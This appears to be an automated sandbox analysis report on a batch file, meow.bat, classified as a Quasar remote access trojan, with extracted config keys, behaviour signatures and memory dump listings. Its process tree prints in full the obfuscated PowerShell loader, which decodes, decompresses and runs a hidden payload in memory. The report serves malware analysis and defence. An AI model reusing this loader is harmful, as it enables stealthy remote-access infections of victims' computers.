Analysis
- user interaction
yes - max time kernel
24s - max time network
26s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
03/11/2026, 19:44
General
- Target meow.bat
- Size 883KB
- Sample261103-yft4msct4v
- SHA256 41ca427689b867b9cd616f1c82cc4b24c5fe87c43fd5fc44c362628d86205ee3
Malware Config
Extracted
-
quasar
-
encryption_key
whLO7d+OjCDKv/daFcqtI0HB6dG03cOoIFALIGIH1DCvxaqk
-
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
-
reconnect_delay
3000
Signatures
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- PulsaRAT library module 2 IoCs
Core component of the PulsaRAT remote access trojan, implementing its command protocol for hidden remote desktop, UAC bypass, persistence, and credential theft.
- Quasar payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\meow.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h -c "function Nw5DEznI([int[]]$c){-join([char[]]$c)};$dM797wjC=Nw5DEznI(0x46,0x72,0x6F,0x6D,0x42,0x61,0x73,0x65,0x36,0x34,0x53,0x74,0x72,0x69,0x6E,0x67);$rhuGQVmiX=Nw5DEznI(0x4C,0x6F,0x61,0x64);$LOm7rDEJ=Nw5DEznI(0x52,0x65,0x61,0x64,0x41,0x6C,0x6C,0x4C,0x69,0x6E,0x65,0x73);$ZoSDn8W=Nw5DEznI(0x44,0x65,0x63,0x6F,0x6D,0x70,0x72,0x65,0x73,0x73);$z68kV6ldZ=Nw5DEznI(0x43,0x6F,0x70,0x79,0x54,0x6F);$p01YhGVOL=Nw5DEznI(0x49,0x6E,0x76,0x6F,0x6B,0x65);$kZ70x1nR1=Nw5DEznI(0x45,0x6E,0x74,0x72,0x79,0x50,0x6F,0x69,0x6E,0x74);$mBHuQsQ=Nw5DEznI(0x6A,0x48,0x67);$rc2I9=186653;$mpRTDWtl6=$true;$DR2u9E=$false;$GIHpCJUFk=$true;$gCyyvFMW=$false;$ePXv0qP6=[math]::Round(9488);$rQtPzk3o=$true;$RA56X=$false;$S9vkvTasq=[math]::Round(2994);$tSeJD2Q=$true;$aeoNHq=$null;$QUW1OM=12421;$lblNeQ=[math]::Round(5406);$Vg6Gwm=622432;$kZ69dJFe=[math]::Round(6673);$mZgHJw=825528;$BdAnl=[math]::Round(7065);$VAJ8GIhcW=$null;$A5xfQ5CiK=Nw5DEznI(0x59,0x39,0x62,0x43,0x5A,0x4D,0x41);$ydFSuuQ=$true;$FGyylY0P=529566;$R3QIY=$true;$lsa7eju=$true;$ZIQwhUc=Nw5DEznI(0x56,0x6A,0x36,0x75,0x38);$knpVTx=$null;$peyudkM=[math]::Round(645);$DhIvoNdL=Nw5DEznI(0x45,0x54,0x35);$y0oIOmENq=481913;$l=[IO.File]::$LOm7rDEJ('C:\Users\Admin\AppData\Local\Temp\meow.bat');$i=0;while($l[$i]-notlike'::PAYLOAD::*'){$i++};$d=[Convert]::$dM797wjC(($l[($i+1)..($l.Length-1)]-join''));$m=New-Object IO.MemoryStream(,$d);$s=New-Object IO.Compression.DeflateStream($m,[IO.Compression.CompressionMode]::Decompress);$o=New-Object IO.MemoryStream;$s.$z68kV6ldZ($o);[Reflection.Assembly]::$rhuGQVmiX($o.ToArray()).EntryPoint.$p01YhGVOL($null,$null);$USzPCiRx=Nw5DEznI(0x72,0x55,0x6B,0x4A,0x6F);$Se11Cts=245357;$axn158=$null;$KDAlurfIY=$true;$X4aWuF9=459381;$GvGDRof=408319;$Vava0Wh=191702;$i1hvSegW=$true;$cWWkR=Nw5DEznI(0x75,0x58,0x4F,0x5A);$oNgHnWas=$true;$hluPCsOSn=Nw5DEznI(0x49,0x6C,0x59,0x6E);$nwk5snRH=280268;$hSYDD=283536;$QyeNmn=[math]::Round(8509);$tYkJpYQ=Nw5DEznI(0x6E,0x49,0x6A,0x4A,0x48);$UX111=Nw5DEznI(0x55,0x37,0x51,0x66,0x54,0x32,0x48);$rh3sZuQ=Nw5DEznI(0x4C,0x43,0x61,0x31);$RbTC6o25=[math]::Round(9388)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/4712-0-0x00007FFF85D6F000-0x00007FFF85D70000-memory.dmp
memory/4712-3-0x00007FFF85BE0000-0x00007FFF86584000-memory.dmp
memory/4712-4-0x000001EA7C010000-0x000001EA7C032000-memory.dmp
memory/4712-5-0x00007FFF85BE0000-0x00007FFF86584000-memory.dmp
memory/4712-6-0x00007FFF85BE0000-0x00007FFF86584000-memory.dmp
memory/4712-7-0x00007FFF85BE0000-0x00007FFF86584000-memory.dmp
memory/4712-8-0x00007FFF85BE0000-0x00007FFF86584000-memory.dmp
memory/4712-9-0x00007FFF85BE0000-0x00007FFF86584000-memory.dmp
memory/4712-10-0x00007FFF85BE0000-0x00007FFF86584000-memory.dmp
memory/4712-11-0x00007FFF85BE0000-0x00007FFF86584000-memory.dmp
memory/4712-12-0x00007FFF85BE0000-0x00007FFF86584000-memory.dmp
memory/4712-13-0x00007FFF85BE0000-0x00007FFF86584000-memory.dmp
memory/4712-15-0x00007FFF85BE0000-0x00007FFF86584000-memory.dmp
memory/4712-18-0x00007FFF85BE0000-0x00007FFF86584000-memory.dmp
memory/4712-17-0x000001EA7C130000-0x000001EA7C160000-memory.dmp
memory/4712-19-0x00007FFF85BE0000-0x00007FFF86584000-memory.dmp
memory/4712-20-0x00007FFF85BE0000-0x00007FFF86584000-memory.dmp
memory/4712-16-0x000001EA7C4A0000-0x000001EA7C584000-memory.dmp
memory/4712-14-0x000001EA7C070000-0x000001EA7C116000-memory.dmp
memory/4712-21-0x00007FFF85BE0000-0x00007FFF86584000-memory.dmp
memory/4712-26-0x000001EA7D500000-0x000001EA7D53E000-memory.dmp
memory/4712-28-0x000001EA7D800000-0x000001EA7D826000-memory.dmp
memory/4712-32-0x000001EA7D810000-0x000001EA7D874000-memory.dmp
memory/4712-34-0x000001EA7D450000-0x000001EA7D45A000-memory.dmp
memory/4712-36-0x000001EA7D8E0000-0x000001EA7D8FA000-memory.dmp
memory/4712-35-0x000001EA7D8B0000-0x000001EA7D8BA000-memory.dmp
memory/4712-33-0x000001EA7D870000-0x000001EA7D8B2000-memory.dmp
memory/4712-31-0x000001EA7D540000-0x000001EA7D548000-memory.dmp
memory/4712-30-0x000001EA7D800000-0x000001EA7D806000-memory.dmp
memory/4712-29-0x000001EA7D480000-0x000001EA7D4A6000-memory.dmp
memory/4712-27-0x000001EA7D440000-0x000001EA7D44A000-memory.dmp
memory/4712-25-0x000001EA7D4C0000-0x000001EA7D4FC000-memory.dmp
memory/4712-24-0x000001EA7D460000-0x000001EA7D472000-memory.dmp
memory/4712-38-0x00007FFF85BE0000-0x00007FFF86584000-memory.dmp
memory/4712-39-0x00007FFF85BE0000-0x00007FFF86584000-memory.dmp
memory/4712-40-0x00007FFF85BE0000-0x00007FFF86584000-memory.dmp
memory/4712-41-0x00007FFF85BE0000-0x00007FFF86584000-memory.dmp